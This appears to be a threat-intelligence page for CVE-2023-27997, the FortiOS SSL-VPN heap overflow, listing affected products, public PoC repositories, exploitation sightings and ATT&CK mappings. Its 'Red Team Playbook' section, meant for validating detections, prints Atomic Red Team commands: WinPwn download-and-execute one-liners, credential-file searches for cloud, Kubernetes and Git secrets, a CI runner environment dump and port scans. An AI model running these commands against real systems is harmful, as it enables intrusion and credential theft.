CVE-2023-27997

CRITICAL CISA KEV POC TTE 3d Pub 13/06 Upd 31/07

Overview

This vulnerability is a heap-based buffer overflow caused by improper bounds checking in the SSL-VPN component of Fortinet FortiOS and FortiProxy products. Specifically, crafted requests trigger memory corruption in the SSL-VPN processing logic, leading to overwriting of heap memory. The flaw affects multiple FortiOS versions including 7.2.4 and below, 7.0.11 and below, 6.4.12 and below, 6.0.16 and below, as well as FortiProxy versions 7.2.3 and below, 7.0.9 and below, 2.0.12 and below, 1.2 all versions, and 1.1 all versions.

Vulnerability Description

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS version 7.2.4 and below, version 7.0.11 and below, version 6.4.12 and below, version 6.0.16 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below, version 1.2 all versions, version 1.1 all versions SSL-VPN may allow a remote attacker to execute arbitrary code or commands via specifically crafted requests.

Impact

An attacker can remotely execute arbitrary code or commands on affected FortiOS and FortiProxy devices without authentication or user interaction. This enables full system compromise, allowing unauthorized control over network security infrastructure. Consequences include potential data breaches, disruption of VPN services, and lateral movement within the victim's network environment, severely impacting organizational security posture.

Solution

Fortinet has released patches addressing this vulnerability in FortiOS versions 7.2.5, 7.0.12, 6.4.13, and 6.0.17, as well as FortiProxy versions 7.2.4, 7.0.10, and 2.0.13. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at https://fortiguard.com/psirt/FG-IR-23-097. No alternative workarounds are provided by the vendor.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (23)

Vendor Product Version CPE
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.0.10 cpe:2.3:o:fortinet:fortios:6.0.10:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.2.4 cpe:2.3:o:fortinet:fortios:6.2.4:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.2.6 cpe:2.3:o:fortinet:fortios:6.2.6:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.2.7 cpe:2.3:o:fortinet:fortios:6.2.7:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.4.2 cpe:2.3:o:fortinet:fortios:6.4.2:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.4.6 cpe:2.3:o:fortinet:fortios:6.4.6:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.4.8 cpe:2.3:o:fortinet:fortios:6.4.8:*:*:*:*:*:*:*
fortinet Fortinet Fortios 6.4.10 cpe:2.3:o:fortinet:fortios:6.4.10:*:*:*:*:*:*:*
+3 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (15)

Repository Author Stars Forks Date Link
BishopFox/CVE-2023-27997-check
Safely detect whether a FortiGate SSL VPN instance is vulnerable to CVE-2023-27997 based on response timing
BishopFox 134 24 2023-06-16 View
lexfo/xortigate-cve-2023-27997
xortigate-cve-2023-27997
lexfo 63 13 2023-10-12 View
rio128128/CVE-2023-27997-POC
POC FortiOS SSL-VPN buffer overflow vulnerability
rio128128 27 15 2023-06-16 View
delsploit/CVE-2023-27997
delsploit 9 0 2023-10-12 View
TechinsightsPro/ShodanFortiOS
Search vulnerable FortiOS devices via Shodan (CVE-2023-27997)
TechinsightsPro 2 2 2023-07-11 View
imbas007/CVE-2023-27997-Check
imbas007 1 2 2023-06-22 View
abraxas/Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 ...
abraxas 1 1 2026-09-01 View
Vampsecure-Labs/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
Vampsecure-Labs 2 0 2026-07-31 View
puckiestyle/cve-2023-27997
puckiestyle 0 2 2023-06-23 View
node011/CVE-2023-27997-POC
Fortigate SSL VPN buffer overflow exploit
node011 0 2 2024-11-14 View
onurkerembozkurt/fgt-cve-2023-27997-exploit
FortiGate SSL-VPN CVE-2023-27997 Exploit PoC Script with ROP Chain
onurkerembozkurt 0 1 2025-04-18 View
PoC
- 0 0 - View
belky-me/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
belky-me 0 0 2026-07-31 View
george1-adel/CVE-2023-27997
george1-adel 0 0 2026-04-06 View
Cyb3rEnthusiast/CVE-2023-27997
How to get access via CVE-2022-27997
Cyb3rEnthusiast 0 0 2023-09-03 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest VERY HIGH
Sightings Extensive activity

Ransomware Groups 1

ransomhub
CONFIRMED
842 victims
ransomware.live
2026-09-21

Threat Feed

35 events
2026-10-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-21
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-09-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-01
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2023-06-16
PoC Published (15 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2023-06-13
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Detected as Exploited in the Wild (172 sightings)

Active exploitation confirmed with 172 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
55% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell)
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

Mentions (50)

0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100

  • advisory huntress.com 2026-10-20 07:00 UTC
    CVE-2023-27997 Vulnerability: Analysis, Impact, Mitigation - Huntress
    Open source
  • code github.com abraxas 2026-09-01 20:04 UTC
    abraxas/Fortigate-SSL-VPN-Exploit-Kit
    Open source
  • code github.com Vampsecure-Labs 2026-07-31 10:13 UTC
    Vampsecure-Labs/vamp-forticheck
    Open source
  • social bsky.app @vulnsea.com 2026-07-31 04:59 UTC
    🌑 HADAL · actively exploited critical CVE-2023-27997: A heap-based buffer overflow vulnerability [CWE-122] in FortiOS version 7.2.4 and below, version 7.0.11 and below, ver… CVSS 9.8 · EPSS 85.7% · CISA KEV · 0day https://beta.vulnsea.com/…
    Open source
  • social bsky.app @cyfar.ca 2025-05-20 19:14 UTC
    ~Cybergcca~ Widespread exploitation of FortiOS CVEs enables persistent access post-patch; credential compromise risk. - IOCs: CVE-2022-42475, CVE-2023-27997, CVE-2024-21762 - #CVEs #Fortinet #ThreatIntel
    Open source
  • code github.com onurkerembozkurt 2025-04-18 17:49 UTC
    onurkerembozkurt/fgt-cve-2023-27997-exploit
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-04-18 12:41 UTC
    'Wereldwijd 17.000 Fortinet-firewalls voorzien van symlink-backdoor'
    Open source
  • social bsky.app @getpokemon7.bsky.social 2025-04-17 03:11 UTC
    既知脆弱性による「FortiOS」侵害の新手法 - 初期経路封じても被害継続 Fortinetは、既知の脆弱性を悪用して同社UTMアプライアンス「FortiGate」を永続的に侵害するあらたな攻撃手法が確認されたとして注意を呼びかけた。初期侵入経路の遮断後もアクセスを維持していたという。 「FortiOS」の「SSL-VPN」におけるヒープベースのバッファオーバーフローの脆弱性「CVE-2022-42475」「CVE-2023-27997」や域外メモリへの書き込み「CVE-…
    Open source
  • social bsky.app @kitafox.bsky.social 2025-04-15 01:01 UTC
    AIによるコード依存関係の幻覚が新たなサプライチェーンリスクに #Codebook (Apr 14) #スロップスクワッティング #生成AI #LLM幻覚 #Fortinet脆弱性 #サプライチェーン攻撃 codebook.machinarecord.com/threatreport...
    Open source
  • social bsky.app @securitylab-jp.bsky.social 2025-04-15 00:02 UTC
    Fortinet、VPNの既知脆弱性「シンボリックリンク」を利用し不正アクセスを維持する活動を警告 #セキュリティ対策Lab #セキュリティ #Security rocket-boys.co.jp/security-mea...
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-04-14 14:36 UTC
    'Nederland telt honderdvijftig gecompromitteerde Fortinet-firewalls'
    Open source
  • social bsky.app @securityrss.bsky.social 2025-04-14 06:02 UTC
    Fortinet warns that threat actors maintain read-only access to compromised FortiGate VPN devices using symbolic links, even after patching. Customers received urgent emails about device compromises linked to CVE-2022-42475, CVE-2023-27997,…
    Open source
  • social bsky.app @hacker.at.thenote.app 2025-04-14 05:59 UTC
    Symbolic Link trick lets attackers bypass FortiGate patches, Fortinet warns Fortinet warns attackers can keep read-only access to FortiGate devices even after the original vulnerability is patched. Fortinet warns that threat actors can ret…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2025-04-13 14:25 UTC
    シンボリックリンクのトリックで攻撃者がFortiGateのパッチを回避できるとフォーティネットが警告 フォーティネットは、元の脆弱性が修正された後でも、攻撃者がFortiGateデバイスへの読み取り専用アクセスを維持できる可能性があると警告している。 フォーティネットは、侵害に使用された元の脆弱性が修正された後でも、脅威の攻撃者が FortiGate デバイスへの読み取り専用アクセスを維持できる可能性があると警告しています。 サイバーセキュリティ企業は、攻撃者がCVE-20…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2025-04-13 13:52 UTC
